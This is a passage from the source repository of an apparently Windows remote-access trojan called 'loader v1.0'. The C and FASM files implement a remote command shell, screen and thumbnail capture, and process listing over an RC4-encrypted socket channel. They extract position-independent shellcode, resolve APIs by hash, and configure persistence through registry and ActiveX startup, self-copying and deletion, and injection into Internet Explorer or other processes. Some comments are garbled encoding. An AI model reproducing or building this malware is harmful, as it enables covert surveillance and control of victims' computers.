code = initalize_code(global_data, data, size);
if (code == 0) return SOCKET_ERROR;
xprocess.code = code;
return xprocess_send_list(s);
}
// pong
if (cmd == CMD_PONG) {
return 0;
}
// ping
if (cmd == CMD_PING) {
return xsend_packet(s, CMD_PONG, (char *)data, sizeof(uint32_t));
}
// begin cmd_shell
if (cmd == CMD_BEGIN_CMDSHELL) {
// ӷȡ
if (xcmd_shell.code == 0) {
return xsend_packet(s, CMD_SHELLCODE_CMD_SHELL, 0, 0);
}
if (!(extra_data()->state & STATE_CMD_SHELL)) {
return xcmd_shell_initialize(s);
}
}
// cmd_shell data
if (cmd == CMD_CMDSHELL_DATA) {
if (extra_data()->state & STATE_CMD_SHELL) {
return xcmd_shell_execute(s, (const char *)((uint32_t *)data));
}
}
// stop cmd_shell
if (cmd == CMD_STOP_CMDSHELL) {
if (extra_data()->state & STATE_CMD_SHELL) {
return xcmd_shell_finalize(s);
}
}
// begin screenspy
if (cmd == CMD_BEGIN_SCREENSPY) {
if (xscreenspy.code == 0) {
xscreenspy.bit_count = *(uint32_t*)data;
return xsend_packet(s, CMD_SHELLCODE_SCREENSPY, 0, 0);
}
if (!(extra_data()->state & STATE_SCREEN_SPY)) {
return xscreenspy_initalize(s, *(uint32_t*)data);
}
}
// end screenspy
if (cmd == CMD_STOP_SCREENSPY) {
if (extra_data()->state & STATE_SCREEN_SPY) {
return xscreenspy_finalize(s);
}
}
// begin thumbnail
if (cmd == CMD_THUMBANIL_START) {
if (xthumbnail.code == 0) {
return xsend_packet(s, CMD_SHELLCODE_THUMBNAIL, 0, 0);
}
extra_data()->state |= STATE_THUMBNAIL;
return xthumbnail_send(s);
}
// end thumbnail
if (cmd == CMD_THUMBANIL_END) {
xthumbnail.tick = 0;
extra_data()->state &= ~STATE_THUMBNAIL;
}
// get process list
if (cmd == CMD_GET_PROCESS_LIST) {
if (xprocess.code == 0) {
return xsend_packet(s, CMD_SHELLCODE_PROCESS, 0, 0);
}
return xprocess_send_list(s);
}
return 0;
}
void __cdecl socket_main(global_data_t *global_data, SOCKET s) {
int ret;
uint8_t cmd;
void *buf;
size_t size;
// Ȼȡinformation code
if (extra_data()->information.code == 0) {
if (xsend_packet(s, CMD_SHELLCODE_INFORMATION, 0, 0) < 0) return;
} else {
send_information(global_data, s);
}
for (;;) {
ret = wait_command(global_data, s);
if (ret < 0) return;
ret = xrecv_packet(s, &cmd, &buf, &size);
if (ret < 0) return;
ret = process_packet(global_data, s, cmd, buf, size);
if (buf != 0) free_memory(buf);
if (ret == SOCKET_ERROR) return;
}
}
void __cdecl shellcode_main_code_end() {
printf(__FUNCTION__);
}
#pragma optimize("ts", off)
#undef FIX // undef macro FIX
void shellcode_main_save(char *filename) {
char *start, *end;
FILE *f;
start = (char *)shellcode_main_entry;
end = (char *)shellcode_main_code_end;
printf("[*] shellcode_main code size = 0x%X\n", end - start);
f = fopen(filename, "wb");
fwrite(start, 1, end - start, f);
shellcode_main_data_t data;
memset(&data, 0, sizeof(data));
lstrcpyA(data.user32, "user32");
lstrcpyA(data.version, "version");
lstrcpyA(data.shlwapi, "shlwapi");
lstrcpyA(data.gdi32, "gdi32");
lstrcpyA(data.id, "id");
lstrcpyA(data.computer_name, "computer_name");
lstrcpyA(data.username, "username");
lstrcpyA(data.lan, "lan");
lstrcpyA(data.os, "os");
lstrcpyA(data.cpu, "cpu");
lstrcpyA(data.ram, "ram");
lstrcpyA(data.acc, "acc");
lstrcpyA(data.language, "language");
lstrcpyA(data.group, "group");
fwrite(&data, 1, sizeof(data), f);
printf("[*] shellcode_main data size = 0x%X\n", sizeof(data));
fclose(f);
printf("[*] save shellcode main to %s success.\n", filename);
}
================================================
FILE: loader v1.0/functions/functions/shellcodes.h
================================================
#ifndef SHELLCODES_H
#define SHELLCODES_H
void shellcode_main_save(char *filename);
void information_save(char *filename);
void cmd_shell_save(char *filename);
void thumbnail_send_save(char *filename);
void screenspy_save(char *filename);
void process_save(char *filename);
#endif SHELLCODES_H
================================================
FILE: loader v1.0/functions/functions/thumbnail.c
================================================
#include "global_data.h"
#include "shellcodes.h"
extern void __cdecl thumbnail_entry(global_data_t *global_data);
extern int __cdecl thumbnail_send(global_data_t *global_data, SOCKET s);
extern void __cdecl thumbnail_code_end();
#define FIX(name) xthumbnail.##name = (_##name)(delta + (char *)name)
#pragma optimize("ts", on)
void __cdecl thumbnail_entry(global_data_t *global_data) {
uint32_t delta;
__asm {
call x;
x:
pop eax;
sub eax, offset x;
mov delta, eax
}
FIX(thumbnail_send);
}
int __cdecl thumbnail_send(global_data_t *global_data, SOCKET s) {
DWORD tick = xGetTickCount();
if (tick - xthumbnail.tick < 1000 * 10) return 0;
xthumbnail.tick = tick;
HWND wnd;
HDC dc;
DWORD needed;
HDESK old, new_;
char current[256], input[256];
old = xGetThreadDesktop(xGetCurrentThreadId());
zero_memory(current, sizeof(current));
xGetUserObjectInformationA(old, UOI_NAME, ¤t, sizeof(current), &needed);
new_ = xOpenInputDesktop(0, FALSE, MAXIMUM_ALLOWED);
zero_memory(input, sizeof(input));
xGetUserObjectInformationA(new_, UOI_NAME, &input, sizeof(input), &needed);
if (xlstrcmpiA(input, current) != 0) xSetThreadDesktop(new_);
xCloseDesktop(old);
xCloseDesktop(new_);
wnd = xGetDesktopWindow();
dc = xGetDC(wnd);
int width = xGetSystemMetrics(SM_CXSCREEN);
int height = xGetSystemMetrics(SM_CYSCREEN);
bitmap_t *thumbnail_bitmap = xbitmap_new(dc, 32, width / 10, height / 10);
xStretchBlt(thumbnail_bitmap->dc, 0, 0, 128, 96, dc, 0, 0, width, height, SRCCOPY | CAPTUREBLT);
buffer_t *buf = xbuffer_new();
xbitmap_save(thumbnail_bitmap, buf);
xbitmap_free(thumbnail_bitmap);
int ret = xsend_packet(s, CMD_THUMBNAIL_DATA, (const char *)buf->data, buf->size);
xbuffer_free(buf);
xReleaseDC(wnd, dc);
return ret;
}
void __cdecl thumbnail_code_end() {
printf(__FUNCTION__);
}
#pragma optimize("ts", off)
#undef FIX // undef macro FIX
void thumbnail_send_save(char *filename) {
char *start, *end;
FILE *f;
start = (char *)thumbnail_entry;
end = (char *)thumbnail_code_end;
printf("[*] thumbnail_send code size = 0x%X\n", end - start);
f = fopen(filename, "wb");
fwrite(start, 1, end - start, f);
fclose(f);
printf("[*] save thumbnail_send to %s success.\n", filename);
}
================================================
FILE: loader v1.0/functions/functions.sln
================================================
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 2013
VisualStudioVersion = 12.0.31101.0
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "functions", "functions\functions.vcxproj", "{11D08AF6-6154-4C5D-9D4E-64453C7DCF6E}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Release|Win32 = Release|Win32
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{11D08AF6-6154-4C5D-9D4E-64453C7DCF6E}.Debug|Win32.ActiveCfg = Debug|Win32
{11D08AF6-6154-4C5D-9D4E-64453C7DCF6E}.Debug|Win32.Build.0 = Debug|Win32
{11D08AF6-6154-4C5D-9D4E-64453C7DCF6E}.Release|Win32.ActiveCfg = Release|Win32
{11D08AF6-6154-4C5D-9D4E-64453C7DCF6E}.Release|Win32.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
================================================
FILE: loader v1.0/functions/functions.txt
================================================
WINBASEAPI
__out_opt
HMODULE
WINAPI
LoadLibraryA(
__in LPCSTR lpLibFileName
);
WINBASEAPI
__out_opt
HMODULE
WINAPI
LoadLibraryW(
__in LPCWSTR lpLibFileName
);
WINBASEAPI
FARPROC
WINAPI
GetProcAddress (
__in HMODULE hModule,
__in LPCSTR lpProcName
);
WINBASEAPI
__out
HANDLE
WINAPI
GetCurrentProcess(
VOID
);
WINBASEAPI
BOOL
WINAPI
CloseHandle(
__in HANDLE hObject
);
WINBASEAPI
HANDLE
WINAPI
OpenProcess(
__in DWORD dwDesiredAccess,
__in BOOL bInheritHandle,
__in DWORD dwProcessId
);
WINBASEAPI
int
WINAPI
lstrlenA(
__in LPCSTR lpString
);
WINBASEAPI
int
WINAPI
lstrlenW(
__in LPCWSTR lpString
);
WINBASEAPI
int
WINAPI
lstrcmpiW(
__in LPCWSTR lpString1,
__in LPCWSTR lpString2
);
LPVOID
WINAPI
HeapAlloc(
__in HANDLE hHeap,
__in DWORD dwFlags,
__in SIZE_T dwBytes
);
LPVOID
WINAPI
HeapReAlloc(
__inout HANDLE hHeap,
__in DWORD dwFlags,
__deref LPVOID lpMem,
__in SIZE_T dwBytes
);
BOOL
WINAPI
HeapFree(
__inout HANDLE hHeap,
__in DWORD dwFlags,
__drv_freesMem(Mem) __post __notvalid __deref LPVOID lpMem
);
HANDLE
WINAPI
GetProcessHeap( VOID );
HMODULE
WINAPI
GetModuleHandleA(
__in_opt LPCSTR lpModuleName
);
DWORD
WINAPI
GetModuleFileNameW(
__in_opt HMODULE hModule,
__out_ecount_part(nSize, return + 1) LPWSTR lpFilename,
__in DWORD nSize
);
HANDLE
WINAPI
CreateMutexW(
__in_opt LPSECURITY_ATTRIBUTES lpMutexAttributes,
__in BOOL bInitialOwner,
__in_opt LPCWSTR lpName
);
DWORD
WINAPI
GetLastError(
VOID
);
WINBASEAPI
VOID
WINAPI
Sleep(
__in DWORD dwMilliseconds
);
LPVOID
WINAPI
VirtualAllocEx(
__in HANDLE hProcess,
__in_opt LPVOID lpAddress,
__in SIZE_T dwSize,
__in DWORD flAllocationType,
__in DWORD flProtect
);
WINBASEAPI
BOOL
WINAPI
VirtualFreeEx(
__in HANDLE hProcess,
__in LPVOID lpAddress,
__in SIZE_T dwSize,
__in DWORD dwFreeType
);
WINBASEAPI
BOOL
WINAPI
WriteProcessMemory(
__in HANDLE hProcess,
__in LPVOID lpBaseAddress,
__in_bcount(nSize) LPCVOID lpBuffer,
__in SIZE_T nSize,
__out_opt SIZE_T * lpNumberOfBytesWritten
);
WINBASEAPI
DWORD
WINAPI
WaitForSingleObject(
__in HANDLE hHandle,
__in DWORD dwMilliseconds
);
HANDLE
WINAPI
CreateToolhelp32Snapshot(
DWORD dwFlags,
DWORD th32ProcessID
);
BOOL
WINAPI
Process32FirstW(
HANDLE hSnapshot,
LPPROCESSENTRY32W lppe
);
BOOL
WINAPI
Process32NextW(
HANDLE hSnapshot,
LPPROCESSENTRY32W lppe
);
DWORD
WINAPI
ExpandEnvironmentStringsW(
__in LPCWSTR lpSrc,
__out_ecount_part_opt(nSize, return) LPWSTR lpDst,
__in DWORD nSize
);
BOOL
WINAPI
CreateProcessW(
__in_opt LPCWSTR lpApplicationName,
__inout_opt LPWSTR lpCommandLine,
__in_opt LPSECURITY_ATTRIBUTES lpProcessAttributes,
__in_opt LPSECURITY_ATTRIBUTES lpThreadAttributes,
__in BOOL bInheritHandles,
__in DWORD dwCreationFlags,
__in_opt LPVOID lpEnvironment,
__in_opt LPCWSTR lpCurrentDirectory,
__in LPSTARTUPINFOW lpStartupInfo,
__out LPPROCESS_INFORMATION lpProcessInformation
);
HANDLE
WINAPI
CreateRemoteThread(
__in HANDLE hProcess,
__in_opt LPSECURITY_ATTRIBUTES lpThreadAttributes,
__in SIZE_T dwStackSize,
__in LPTHREAD_START_ROUTINE lpStartAddress,
__in_opt LPVOID lpParameter,
__in DWORD dwCreationFlags,
__out_opt LPDWORD lpThreadId
);
VOID WINAPI RtlZeroMemory( IN VOID UNALIGNED *Destination, IN SIZE_T Length
);VOID WINAPI RtlMoveMemory( IN VOID UNALIGNED *Destination,
IN CONST VOID UNALIGNED *Source, IN SIZE_T Length );
NTSTATUS WINAPI RtlCompressBuffer(
USHORT CompressionFormatAndEngine,
PUCHAR UncompressedBuffer,
ULONG UncompressedBufferSize,
PUCHAR CompressedBuffer,
ULONG CompressedBufferSize,
ULONG UncompressedChunkSize,
PULONG FinalCompressedSize,
PVOID WorkSpace
);
NTSTATUS WINAPI RtlGetCompressionWorkSpaceSize(
USHORT CompressionFormatAndEngine,
PULONG CompressBufferWorkSpaceSize,
PULONG CompressFragmentWorkSpaceSize
);
NTSTATUS WINAPI RtlDecompressBuffer(
USHORT CompressionFormat,
PUCHAR UncompressedBuffer,
ULONG UncompressedBufferSize,
PUCHAR CompressedBuffer,
ULONG CompressedBufferSize,
PULONG FinalUncompressedSize
);
WINADVAPI
BOOL
WINAPI
OpenProcessToken (
__in HANDLE ProcessHandle,
__in DWORD DesiredAccess,
__deref_out PHANDLE TokenHandle
);
WINADVAPI
BOOL
WINAPI
LookupPrivilegeValueA(
__in_opt LPCSTR lpSystemName,
__in LPCSTR lpName,
__out PLUID lpLuid
);
WINADVAPI
BOOL
WINAPI
AdjustTokenPrivileges (
__in HANDLE TokenHandle,
__in BOOL DisableAllPrivileges,
__in_opt PTOKEN_PRIVILEGES NewState,
__in DWORD BufferLength,
__out_bcount_part_opt(BufferLength, *ReturnLength) PTOKEN_PRIVILEGES PreviousState,
__out_opt PDWORD ReturnLength
);
WINADVAPI
LSTATUS
APIENTRY
RegOpenKeyExA (
__in HKEY hKey,
__in_opt LPCSTR lpSubKey,
__in_opt DWORD ulOptions,
__in REGSAM samDesired,
__out PHKEY phkResult
);
WINADVAPI
LSTATUS
APIENTRY
RegCreateKeyExW (
__in HKEY hKey,
__in LPCWSTR lpSubKey,
__reserved DWORD Reserved,
__in_opt LPWSTR lpClass,
__in DWORD dwOptions,
__in REGSAM samDesired,
__in_opt CONST LPSECURITY_ATTRIBUTES lpSecurityAttributes,
__out PHKEY phkResult,
__out_opt LPDWORD lpdwDisposition
);
WINADVAPI
LSTATUS
APIENTRY
RegSetValueExW (
__in HKEY hKey,
__in_opt LPCWSTR lpValueName,
__reserved DWORD Reserved,
__in DWORD dwType,
__in_bcount_opt(cbData) CONST BYTE* lpData,
__in DWORD cbData
);
WINADVAPI
LSTATUS
APIENTRY
RegQueryValueExW (
__in HKEY hKey,
__in_opt LPCWSTR lpValueName,
__reserved LPDWORD lpReserved,
__out_opt LPDWORD lpType,
__out_bcount_part_opt(*lpcbData, *lpcbData) __out_data_source(REGISTRY) LPBYTE lpData,
__inout_opt LPDWORD lpcbData
);
WINADVAPI
LSTATUS
APIENTRY
RegCloseKey (
__in HKEY hKey
);
int PASCAL FAR WSAStartup(
__in WORD wVersionRequired,
__out LPWSADATA lpWSAData);
int PASCAL FAR WSACleanup(void);
u_short PASCAL FAR htons (__in u_short hostshort);
u_long PASCAL FAR inet_addr (__in const char FAR * cp);
struct hostent FAR * PASCAL FAR gethostbyname(__in_z const char FAR * name);
SOCKET PASCAL FAR socket (
__in int af,
__in int type,
__in int protocol);
int PASCAL FAR closesocket ( IN SOCKET s);
int PASCAL FAR connect (
__in SOCKET s,
__in_bcount(namelen) const struct sockaddr FAR *name,
__in int namelen);
int PASCAL FAR setsockopt (
__in SOCKET s,
__in int level,
__in int optname,
__in_bcount_opt(optlen) const char FAR * optval,
__in int optlen);
int PASCAL FAR send (
__in SOCKET s,
__in_bcount(len) const char FAR * buf,
__in int len,
__in int flags);
int PASCAL FAR recv (
__in SOCKET s,
__out_bcount_part(len, return) __out_data_source(NETWORK) char FAR * buf,
__in int len,
__in int flags);
int PASCAL FAR select (
__in int nfds,
__inout_opt fd_set FAR *readfds,
__inout_opt fd_set FAR *writefds,
__inout_opt fd_set FAR *exceptfds,
__in_opt const struct timeval FAR *timeout);
WINBASEAPI
__out
LPWSTR
WINAPI
lstrcpyW(
__out_z LPWSTR lpString1, // deprecated: annotation is as good as it gets
__in LPCWSTR lpString2
);
WINBASEAPI
__out
LPSTR
WINAPI
lstrcpyA(
__out_z LPSTR lpString1, // deprecated: annotation is as good as it gets
__in LPCSTR lpString2
);
================================================
FILE: loader v1.0/functions/readme.txt
================================================
ԵʱֻҪرúӺ˳Ͳᱻˣwhat fuck!
Ϊcode_endû䣬ԻĬϺϲһֻҪcode endмprintf(__FUNCTION__);
================================================
FILE: loader v1.0/include/global.inc
================================================
; 这个头文件包含了通用数据的声明
include 'macro\struct.inc'
include 'macro\masm.inc'
include 'macro\if.inc'
; unicode support
include 'utf16.inc'
include 'useful.inc'
include 'win32_extra.inc'
; 连接方式
CONNECT_METHOD_DIRECT = 0
CONNECT_METHOD_SOCKS5 = 1
; 拷贝方式
COPY_METHOD_NONE = 0
COPY_METHOD_TO_WINDOWS = 1
COPY_METHOD_TO_SYSTEM = 2
INJECT_METHOD_IEXPLORER = 0
INJECT_METHOD_CUSTOM = 1
; 注入间隔
INJECT_TIMES = 4
INJECT_INTERVAL = 1000 * 7
; 连接间隔
CONNECT_INTERVAL = 1000 * 30
; 数据包头标志
PACKET_HEADER_SIGNATURE = 0xdeedbeef
; socket选项
MAX_BUFFER_SIZE = 1024 * 4
SEND_TIMEOUT = 30
RECV_TIMEOUT = 20
WAIT_TIMEOUT = 20
; CMD_SHELLCODE_MAIN
CMD_SHELLCODE_MAIN = 0
struct global_data_t
is_wow64 _BOOL ? ; 是否为wow64环境
loader_path _WCHAR 256 dup(?) ; loader的路径
; 配置开始
mutex_name _CHAR 100 dup(?) ; mutex name
persistence _BOOL ? ; 是否开启守护
melt _BOOL ? ; 是否删除源文件
copy_method _BYTE ? ; 拷贝方式
copy_to _WCHAR 100 dup(?) ; 目标文件名称
startup_hklm _BOOL ? ; 是否采用hklm方式自启动
nklm_name _WCHAR 100 dup(?) ; nklm名称
startup_acitvex _BOOL ? ; 是否采用activex方式启动
activex_name _WCHAR 100 dup(?) ; activex名称
inject_to_ie _BOOL ? ; 是否注入到ie
inject_to_custom _BOOL ? ; 注入到通用进程
custom_process_name _WCHAR 100 dup(?) ; 目标进程名称
group _WCHAR 12 dup(?) ; 分组名称
id _WCHAR 12 dup(?) ; id名称
dns_list _BYTE 256 dup(?) ; 服务器列表,结构为 ip_1,0,port_1,ip_2,0,port_2,0
socks5 _BOOL ? ; 通过socks5连接
socks5_dns _BYTE 100 dup(?) ; socks5服务器地址
socks5_port _WORD ? ; socks5端口
socks5_user _CHAR 100 dup(?) ; socks用户名
socks5_pass _CHAR 100 dup(?) ; socks密码
rc4_key _BYTE 260 dup(?) ; rc4_key最大长度为256,且中间不能出现00
; rc4 sbox
send_sbox _BYTE 256 dup(?)
recv_sbox _BYTE 256 dup(?)
; api声明
API_DECLARE kernel32,\
LoadLibraryA, GetProcAddress, GetCurrentProcess, CloseHandle, OpenProcess, lstrlenA, lstrlenW, lstrcatW, lstrcpyA, lstrcpyW, lstrcmpiW,\
HeapAlloc, HeapReAlloc, HeapFree, GetProcessHeap, GetModuleHandleA, GetModuleFileNameW, CreateMutexA, GetLastError, Sleep,\
VirtualAllocEx, VirtualFreeEx, WriteProcessMemory, WaitForSingleObject, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW,\
ExpandEnvironmentStringsW, CreateProcessW, CreateRemoteThread, GetSystemDirectoryW, GetWindowsDirectoryW, CopyFileW, DeleteFileW
API_DECLARE ntdll,\
RtlZeroMemory, RtlMoveMemory, RtlCompressBuffer, RtlGetCompressionWorkSpaceSize, RtlDecompressBuffer
API_DECLARE advapi32,\
OpenProcessToken, LookupPrivilegeValueA, AdjustTokenPrivileges, RegOpenKeyExA, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegCloseKey
API_DECLARE ws2_32,\
WSAStartup, WSACleanup, htons, inet_addr, gethostbyname, socket, closesocket, connect, setsockopt, send, recv, select
extra_data _BYTE 1024 dup(?) ; 为其他shellcode准备
; 基础函数,其它shellcode也可以使用, 其中connect_server
BASE_FUNCTION get_proc_from_hash,\
rc4_init, rc4_crypt,\
alloc_memory, realloc_memory, free_memory, alloc_executable_memory, free_executable_memory,\
compress, decompress,\
wait_buffer, recv_data, send_data,\
connect_server ; 这里都是不暴露给vs中使用的
; 额外函数
EXTRA_FUNCTION connect_by_socks5,\
inject_to_explorer,\
add_startup_hklm_x86, add_startup_activex_x86, copy_self_x86, find_process_by_name_x86, inject_to_explorer_code_x86,\
get_kernel32_base_x64, get_ntdll_base_x64, get_proc_from_hash_x64,\ ; x64与wow64通用
add_startup_hklm_x64, add_startup_activex_x64, copy_self_x64, find_process_by_name_x64, inject_to_explorer_code_x64
ends
BASE_FUNCTION_START = global_data_t.get_proc_from_hash
EXTRA_FUNCTION_START = global_data_t.connect_by_socks5
struct packet_header_t
random _DWORD ?
signature _DWORD ?
cmd _BYTE ?
packet_unpacked_size _DWORD ?
packet_size _DWORD ?
ends
struct function_data_t
save_offset _WORD ?
func_size _WORD ?
ends
struct config_t
save_offset _WORD ?
size _WORD ?
ends
struct api_hash_t
hash _DWORD ? ; api hash
lib_offset _WORD ? ; library offset in global_data_t
save_offset _WORD ? ; save offset in global_data_t
ends
struct explorer_thread_param_t
global_data global_data_t ?
thread_main _DWORD ? ;为了兼容x64,这两个其实
thread_main_dummy _DWORD ?
thread_main_size _WORD ?
ends
================================================
FILE: loader v1.0/include/useful.inc
================================================
pushad_eax equ (7*4)
pushad_ecx equ (6*4)
pushad_edx equ (5*4)
pushad_ebx equ (4*4)
pushad_esp equ (3*4)
pushad_ebp equ (2*4)
pushad_esi equ (1*4)
pushad_edi equ (0*4)
; PUSH HASH
macro PUSH_HASH v* {
common
local ..c, ..hash
virtual at 0
db `v
..hash = 0
repeat $
load ..c from $$+%-1
..hash = ..hash * 131 + ..c
..hash = ..hash and 0xffffffff
end repeat
..hash = ..hash and 0x7fffffff
end virtual
common
push ..hash
}
; dd hash
macro DD_HASH v* {
common
local ..c, ..hash
virtual at 0
db `v
..hash = 0
repeat $
load ..c from $$+%-1
..hash = ..hash * 131 + ..c
..hash = ..hash and 0xffffffff
end repeat
..hash = ..hash and 0x7fffffff
end virtual
common
dd ..hash
}
; 声明hash
macro DEFINE_HASH v* {
common
local ..c, ..hash
virtual at 0
db `v
..hash = 0
repeat $
load ..c from $$+%-1
..hash = ..hash * 131 + ..c
..hash = ..hash and 0xffffffff
end repeat
..hash = ..hash and 0x7fffffff
end virtual
common
v#_hash = ..hash
}
; 拷贝hash到寄存器
macro MOV_HASH reg*, v* {
common
local ..c, ..hash
virtual at 0
db `v
..hash = 0
repeat $
load ..c from $$+%-1
..hash = ..hash * 131 + ..c
..hash = ..hash and 0xffffffff
end repeat
..hash = ..hash and 0x7fffffff
end virtual
common
mov reg, ..hash
}
; 批量声明api hash
macro API_HASH_TABLE library, [funcname] {
forward
local ..c, ..hash
virtual at 0
db `funcname
..hash = 0
repeat $
load ..c from $$+%-1
..hash = ..hash * 131 + ..c
..hash = ..hash and 0xffffffff
end repeat
..hash = ..hash and 0x7fffffff
end virtual
api_hash_t ..hash, global_data_t#.#library, global_data_t#.#funcname
}
macro API_HASH_TABLE_END {
common
_WORD 0
}
; 用于global_data中声明api
macro API_DECLARE library, [funcname] {
common
library _DWORD ?
forward
funcname _DWORD ?
}
macro PUSH_ANSI_STRING str {
common
call @F
db str, 0
@@:
}
macro PUSH_WIDE_STRING str {
common
call @F
du str, 0
@@:
}
; 基本函数声明
macro BASE_FUNCTION [funcname] {
common
BASE_FUNCTION_COUNT = 0
forward
funcname _DWORD ?
BASE_FUNCTION_COUNT = BASE_FUNCTION_COUNT + 1
}
; 用于global_data中声明额外的函数
; 为了兼容x64,所有的额外附加函数都被扩充成了qword
; 不影响x86 code的使用
macro EXTRA_FUNCTION [funcname] {
common
EXTRA_FUNCTION_COUNT = 0
forward
funcname _DWORD ?
_DWORD ? ; dummy for x64 code
funcname#_size _WORD ?
EXTRA_FUNCTION_COUNT = EXTRA_FUNCTION_COUNT + 1
}
macro FUNCTION_DATA_BEGIN funcname {
common
function_data_t global_data_t#.#funcname, funcname#_#size
}
macro FUNCTION_DATA_END funcname {
common
funcname#_#size = $ - funcname
}
; 测试用
macro CONFIG_BEGIN name {
common
config_t global_data_t#.#name, name#_size
name##_code_begin:
}
macro CONFIG_END name {
common
name#_size = $ - name##_code_begin
}
macro BASE_FUNCTION_TABLE [funcname] {
forward
local ..delta
dw funcname - ..delta
..delta:
}
================================================
FILE: loader v1.0/include/utf16.inc
================================================
; UTF-16
macro du [arg]
{
local current,char
if arg eqtype ''
virtual at 0
db arg
count = $
end virtual
current = 0
while current < count
virtual at 0
db arg
load char byte from current
wide=char
virtual at 0
file 'utf16':char*2,2
load char word from 0
end virtual
current = current+1
if char <> 0
wide = char
if current < count
load char byte from current
wide=(wide+char)*2
virtual at 0
file 'utf16':wide,2
load wide word from 0
end virtual
else
wide = 0
end if
current = current + 1
end if
end virtual
dw wide
end while
else
dw arg
end if
}
struc du [args]
{
common label . word
du args
.size=$-.
}
================================================
FILE: loader v1.0/include/win32_extra.inc
================================================
macro typedef [statement*] {
common
; 匹配基类型以及目标类型
match gs@base gs@type, statement \{
; 遍历目标类型
irp type, gs@type \\{
; 定义struc, 这里参数支持默认值所以不需要额外进行匹配,否则需要 match any, v与 match , v来进行匹配
struc type [v=?] \\\{
\\\common
. gs@base v
\\\}
; 定义目标类型macro
macro type [v=?] \\\{
\\\common
gs@base v
\\\}
; 定义size
virtual at 0
gs@base ?
sizeof.\\#type = $
end virtual
\\}
\}
}
typedef db _BYTE, _CHAR, _UCHAR, _BOOL
typedef dw _WORD, _SHORT, _USHORT, _WCHAR
typedef dd _LONG, _ULONG, _DWORD, _HANDLE, _HKEY, _SOCKET, _ULONG_PTR
typedef dq _LONGLONG, _ULONGLONG
struct LUID
LowPart _DWORD ?
HighPart _LONG ?
ends
struct LUID_AND_ATTRIBUTES
Luid LUID ?
Attributes _DWORD ?
ends
struct TOKEN_PRIVILEGES
PrivilegeCount _DWORD ?
Privileges LUID_AND_ATTRIBUTES ?
ends
struct IMAGE_DOS_HEADER
e_magic _WORD ?
e_cblp _WORD ?
e_cp _WORD ?
e_crlc _WORD ?
e_cparhdr _WORD ?
e_minalloc _WORD ?
e_maxalloc _WORD ?
e_ss _WORD ?
e_sp _WORD ?
e_csum _WORD ?
e_ip _WORD ?
e_cs _WORD ?
e_lfarlc _WORD ?
e_ovno _WORD ?
e_res _WORD 4 dup(?)
e_oemid _WORD ?
e_oeminfo _WORD ?
e_res2 _WORD 10 dup(?)
e_lfanew _LONG ?
ends
struct IMAGE_FILE_HEADER
Machine _WORD ?
NumberOfSections _WORD ?
TimeDateStamp _DWORD ?
PointerToSymbolTable _DWORD ?
NumberOfSymbols _DWORD ?
SizeOfOptionalHeader _WORD ?
Characteristics _WORD ?
ends
struct IMAGE_DATA_DIRECTORY
VirtualAddress _DWORD ?
Size _DWORD ?
ends
struct IMAGE_OPTIONAL_HEADER64
Magic _WORD ?
MajorLinkerVersion _BYTE ?
MinorLinkerVersion _BYTE ?
SizeOfCode _DWORD ?
SizeOfInitializedData _DWORD ?
SizeOfUninitializedData _DWORD ?
AddressOfEntryPoint _DWORD ?
BaseOfCode _DWORD ?
ImageBase _ULONGLONG ?
SectionAlignment _DWORD ?
FileAlignment _DWORD ?
MajorOperatingSystemVersion _WORD ?
MinorOperatingSystemVersion _WORD ?
MajorImageVersion _WORD ?
MinorImageVersion _WORD ?
MajorSubsystemVersion _WORD ?
MinorSubsystemVersion _WORD ?
Win32VersionValue _DWORD ?
SizeOfImage _DWORD ?
SizeOfHeaders _DWORD ?
CheckSum _DWORD ?
Subsystem _WORD ?
DllCharacteristics _WORD ?
SizeOfStackReserve _ULONGLONG ?
SizeOfStackCommit _ULONGLONG ?
SizeOfHeapReserve _ULONGLONG ?
SizeOfHeapCommit _ULONGLONG ?
LoaderFlags _DWORD ?
NumberOfRvaAndSizes _DWORD ?
IMAGE_DIRECTORY_ENTRY_EXPORT IMAGE_DATA_DIRECTORY ?
IMAGE_DIRECTORY_ENTRY_IMPORT IMAGE_DATA_DIRECTORY ?
IMAGE_DIRECTORY_ENTRY_RESOURCE IMAGE_DATA_DIRECTORY ?
IMAGE_DIRECTORY_ENTRY_EXCEPTION IMAGE_DATA_DIRECTORY ?
IMAGE_DIRECTORY_ENTRY_SECURITY IMAGE_DATA_DIRECTORY ?
IMAGE_DIRECTORY_ENTRY_BASERELOC IMAGE_DATA_DIRECTORY ?
IMAGE_DIRECTORY_ENTRY_DEBUG IMAGE_DATA_DIRECTORY ?
IMAGE_DIRECTORY_ENTRY_COPYRIGHT IMAGE_DATA_DIRECTORY ?
IMAGE_DIRECTORY_ENTRY_ARCHITECTURE IMAGE_DATA_DIRECTORY ?
IMAGE_DIRECTORY_ENTRY_GLOBALPTR IMAGE_DATA_DIRECTORY ?
IMAGE_DIRECTORY_ENTRY_TLS IMAGE_DATA_DIRECTORY ?
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG IMAGE_DATA_DIRECTORY ?
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT IMAGE_DATA_DIRECTORY ?
IMAGE_DIRECTORY_ENTRY_IAT IMAGE_DATA_DIRECTORY ?
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT IMAGE_DATA_DIRECTORY ?
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR IMAGE_DATA_DIRECTORY ?
ends
struct IMAGE_NT_HEADERS64
Signature _DWORD ?
FileHeader IMAGE_FILE_HEADER ?
OptionalHeader IMAGE_OPTIONAL_HEADER64 ?
ends
struct IMAGE_EXPORT_DIRECTORY
Characteristics _DWORD ?
TimeDateStamp _DWORD ?
MajorVersion _WORD ?
MinorVersion _WORD ?
Name _DWORD ?
Base _DWORD ?
NumberOfFunctions _DWORD ?
NumberOfNames _DWORD ?
AddressOfFunctions _DWORD ?
AddressOfNames _DWORD ?
AddressOfNameOrdinals _DWORD ?
ends
struct PROCESSENTRY32W
dwSize _DWORD ?
cntUsage _DWORD ?
